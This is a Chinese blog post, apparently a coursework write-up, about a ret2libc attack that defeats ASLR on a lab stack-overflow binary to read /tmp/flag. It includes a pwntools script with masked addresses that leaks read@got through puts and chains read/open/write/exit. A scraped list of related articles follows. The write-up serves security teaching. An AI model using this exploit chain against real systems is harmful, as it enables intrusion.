【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(2)

article/2025/10/13 17:33:47

注:感谢这位大佬的帮忙,没有他我估计还在github里面或者其他博客里面瞎找小雨aaa

Ret2libc:Return to libc,顾名思义,就是通过劫持控制流使控制流指向libc中的系统函数,从而实现打开shell等其他工作。

在本次作业中,目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到stack.c的程序的源代码如下
 

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>void start() {printf("IOLI Crackme Level 0x00\n");printf("Password:");char buf[64];memset(buf, 0, sizeof(buf));read(0, buf, 256);if (!strcmp(buf, "250382"))printf("Password OK :)\n");elseprintf("Invalid Password!\n");
}int main(int argc, char *argv[]) {setreuid(geteuid(), geteuid());setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF,0);start();return 0;
}

        好吧,这里跟第一篇其实是一样的,不过这一次我们会尝试绕过ASLR,众所周知,对于一个系统函数而言,如果他打算调用一个函数的话,他会进行以下步骤:

         一个比较直观可以看出地址随机化的方式,是去查看它的库函数位置变化,具体的话可以看看下图:

可以看到地址在不断发生变化

        具体细节可以去看这篇文章聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT,而对于ASLR而言,其实变化的只有最后一步,因而在这里,只要能够找到正确的GOT位置,就能用上一次几乎一模一样的代码,完成本次攻击。

        更加直观的方法可以通过调试程序的方法来查看,在这里,通过安装了pwndbg插件和peda的gdb来对程序进行调试:

        注意,gdb调试的时候,默认ASLR是关闭的,导致我很长时间都没搞懂他到底变了什么东西,在这里打开ASLR:

打开ASLR

        然后进行调试,disass找到start函数的位置:

在这里0x80491d6就是start函数的偏移地址

        记下这个地址,不过这里并不是我们应该关注的内容,现在应该是找到puts函数(为了打印出read@got指向的内容,然后通过这个地址,找到其他函数的地址)
        可以看到puts@plt的地址是0x8049070:

puts@plt的位置

        如果各位有兴趣的话可以多去尝试几次,可以很清楚地看到,这个地址应该是不会变的。

        如果我们想要看到更多关于plt和got的内容,我们可以继续查看此处的汇编,我们可以很清楚地看到他具体的调用方式:

        还是可以多去尝试几次,最后一处出现的地址(在这里是4158026976)是会随时发生变化的,可以多尝试去观察一下,在这里,他就是puts函数在libc中的真正位置。

        那么,既然得出了这个结论,便要去付诸实践,将这个地址通过程序,自动地读出来,这里使用的代码是:


payload2 += p32(putsplt)#调用puts函数
payload2 += p32(PR)
payload2 += p32(readgot)#打印readgot指向的字符串

          关于如何读出readgot,其实和读出putsgot的方式是一模一样的,但这里可以再复读一边:

在这里readgot是0x804C010
 

       其实这里就是把readgot指向的内容通过puts的方式打印在屏幕上(当然,肯定会是一坨乱码),然后通过这些命令把它读成地址:


p.recvuntil("!\n")
leak=p.recv(4)
readAddr=int.from_bytes(leak,"little")

        这样,Read函数的地址就被自动的封装在程序中了。在后续的部分,通过地址偏移求出其他函数的地址,复读上一次的程序,便可以轻松的完成本次作业内容了,代码样例如下:

from pwn import *
p = process("./stack2")PPPR=0x********
PPR=0x********
PR=0x********
BUF=0x********#可以查看上一篇这么找到的POP RETURN以及POP POP RETURN地址num=*#参考上一篇
payload = b'A' * num
payload2 =b'A' * numputplt=********#putplt的地址
readgot=********#readgot的地址
payload2 += p32(putplt)
payload2 += p32(PR)
payload2 += p32(readgot)#main
payload2 += p32(*******)#main函数的地址,这里是为了让程序再来一遍p.sendline(payload2)p.recvuntil("!\n")
leak=p.recv(4)
readAddr=int.from_bytes(leak,"little")openAddr=0x********-0x********+readAddr
writeAddr=0x********-0x********+readAddr
exitAddr=0x********-0x********+readAddr
#这里*内容是上一次中间的各个函数和read函数的偏移值
#read
payload += p32(readAddr)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)#open
payload += p32(openAddr)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)#read
payload += p32(readAddr)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)#write
payload += p32(writeAddr)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(5)#exit
payload += p32(exitAddr)
payload += p32(0xdeadbeef)
payload += p32(1)p.sendline(payload)
p.interactive()

        按照要求填入即可。


http://chatgpt.dhexx.cn/article/qb8XU169.shtml

相关文章

Linux ALSA音频工具

参考&#xff1a; ALSA 音频工具 amixer、aplay、arecord Linux Alsa ALSA的配置文件 音频录制——arecord 音频播放——aplay 音频配置——amixer alsamixer与amixer的区别 alsamixer是Linux音频框架ALSA工具之一&#xff0c;用于配置音频各个参数; alsamixer是基于文本图形…

[pwn]ROP:绕过ASLRNX

[详细] ROP&#xff1a;绕过ASLR&NX 这次使用的程序是Defcon - 2015初赛题目&#xff0c;r0pbaby&#xff0c;也是一道经典的pwn题目了。 程序链接&#xff1a;https://pan.baidu.com/s/1kr6z_crZfW7qNjtASmRMGw 提取码&#xff1a;eajs NX策略是指在栈中的代码不会被执行…

ORA-445报错与ASLR

数据库多次出现ORA-00445: background process "J002" did not start after 30 seconds报错及ORA-3136错误 查看相关文档(文档 ID 1600807.1)&#xff0c;两个报错都可能与内存压力过大有关 另外关于ORA-00445还有另一篇文档提到&#xff0c;在Oracle启用ASLR会无法…

[二进制学习笔记]Ubuntu20.04关闭开启ASLR

文章目录 Ubuntu20.04关闭开启ASLR Ubuntu20.04关闭开启ASLR ​ ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术&#xff0c;通过对堆、栈、共享库映射等线性区布局的随机化&#xff0c;通过增加攻击者预测目的地址的难度&#xff0c;防止攻击者…

ASLR和PIE的区别

总结&#xff1a;ASLR 不负责代码段以及数据段的随机化工作&#xff0c;这项工作由 PIE 负责。但是只有在开启 ASLR 之后&#xff0c;PIE 才会生效。

【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

Ret2libc:Return to libc,顾名思义&#xff0c;就是通过劫持控制流使控制流指向libc中的系统函数&#xff0c;从而实现打开shell等其他工作。 在本次作业中&#xff0c;我们的目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容&#xff0c;其中&#xff0c;可以看到…

Linux ALSA声卡驱动之五:移动设备中的ALSA(ASoC)

1. ASoC的由来 ASoC--ALSA System on Chip &#xff0c;是建立在标准ALSA驱动层上&#xff0c;为了更好地支持嵌入式处理器和移动设备中的音频Codec的一套软件体系。在ASoc出现之前&#xff0c;内核对于SoC中的音频已经有部分的支持&#xff0c;不过会有一些局限性&#xff1a…

astrill android,Astrill

你想知道你所用的网络速度是多少吗&#xff1f;你想在全球任何地方都可以使用到手机网络吗&#xff1f;你想在需要下载文件时定位到信号最强的地方进行传输吗&#xff1f;小编今天为企业家和用户安利一款手机测速游戏——Astrill APP&#xff01;用户可以随时随地的查询到自己的…

Linux下 ASLR功能与 -no-pie 选项说明

一. Linux下ASLR功能 1. ASLR 技术介绍 ASLR 技术是一种针对缓冲区溢出的安全保护技术。 ASLR&#xff0c;全称为 Address Space Layout Randomzation&#xff0c;地址空间布局随机化。ASLR 技术在 2005 年的 kernel 2.6.12 中被引入到 Linux 系统&#xff0c;它将进程…

ASLR和PIE的区别和作用

ASLR和PIE的区别和作用 ASLR的作用 首先ASLR是归属于系统功能的&#xff0c; aslr是一种针对缓冲区溢出的安全保护技术&#xff0c;通过对堆、栈、共享库映射等线性区布局的随机化&#xff0c;通过增加攻击者预测目的地址的难度&#xff0c;防止攻击者直接定位攻击代码位置&…

Linux下关闭ASLR(地址空间随机化)的方法

##0x00 背景知识 ASLR(Address Space Layout Randomization)在2005年被引入到Linux的内核 kernel 2.6.12 中&#xff0c;当然早在2004年就以patch的形式被引入。随着内存地址的随机化&#xff0c;使得响应的应用变得随机。这意味着同一应用多次执行所使用内存空间完全不同&…

ASLR技术

简述 ASLR&#xff08;Address Space Layout Randmoization&#xff0c;地址空间布局随机化&#xff09;是一种针对于缓冲区溢出的安全保护技术。 windows 内核版本 OS内核版本windows 20005.0windows XP5.1windows Server 20035.2windows Vista6.0windows Server 20086.0wi…

ASLR

ASLR 一、ASLR是什么&#xff1f;二、测试ASLR技术1.一个简单的源文件2.生成ALSR.exe与ALSR_no.exe3.使用OllDbg调试器查看程序入口地址与栈地址3.1 ASLR.exe3.2 ASLR_no.exe 4.使用CFF Explorer查看PE文件信息4.1 重定位表的区别4.2 IMAGE_FILE_HEADER/Characteristics属性4.3…

[ASLR,地址空间,Linux,随机化,Windows]ASLR 是如何保护 Linux 系统免受缓冲区溢出攻击的

地址空间随机化&#xff08;ASLR&#xff09;是一种内存攻击缓解技术&#xff0c;可以用于 Linux 和 Windows 系统。了解一下如何运行它、启用/禁用它&#xff0c;以及它是如何工作的。 -- Sandra Henry-stocker 地址空间随机化(Address Space Layout Randomization)&#xff0…

ALSR

一 ALSR介绍&#xff1a; 1.1定义 aslr是一种针对缓冲区溢出的安全保护技术&#xff0c;通过对堆、栈、共享库映射等线性区布局的随机化&#xff0c;通过增加攻击者预测目的地址的难度&#xff0c;防止攻击者直接定位攻击代码位置&#xff0c;达到阻止溢出攻击的目的的一种技…

如何提高强化学习算法模型的泛化能力?

深度强化学习实验室 官网&#xff1a;http://www.neurondance.com/ 来源&#xff1a;https://zhuanlan.zhihu.com/p/328287119 作者&#xff1a;网易伏羲实验室 编辑&#xff1a;DeepRL 在深度学习中&#xff0c;模型很容易过拟合到参与训练的数据集。因此&#xff0c;深度学习…

BatchFormer:有效提升数据稀缺场景的模型泛化能力|CVPR2022

文 | 侯志知乎&#xff08;已授权&#xff09;源 | 极市平台 摘要 当前的深度神经网络尽管已经取得了巨大的成功&#xff0c;但仍然面临着来自于数据稀缺的各种挑战&#xff0c;比如数据不平衡&#xff0c;零样本分布&#xff0c;域适应等等。 当前已经有各种方法通过样本之间的…

图解深度学习-提高泛化能力的方法

数据集 在深度学习的训练过程中&#xff0c;神经网络的类型和结构固然重要&#xff0c;但训练样本才是重中之重。 数据增强 当训练样本数量较少时&#xff0c;可以通过数据增强来增加样本的多样性。 数据增强就是通过对样本图像进行平移、旋转、镜像翻转等方式进行变换。除…

JAVASE提高 -- Java泛型

1. 泛型类 &#xff08;1&#xff09;使用语法 类名<具体的数据类型> 对象名 new 类名<具体的数据类型>(); &#xff08;2&#xff09;Java1.7以后&#xff0c;后面的<>中的具体的数据类型可以省略不写 类名<具体的数据类型> 对象名 new 类名<&…

【NLP】如何提高模型泛化能力?以中文NER为例

我们知道模型的泛化能力是很重要的&#xff0c;如果一个模型具有很好的泛化性能&#xff0c;那么它往往能够在没有见过的数据上表现良好。以中文命名实体识别为例&#xff0c;在用于评估模型泛化性能的数据集中&#xff0c;我们可能忽略了数据偏差对模型泛化的影响。 论文标题&…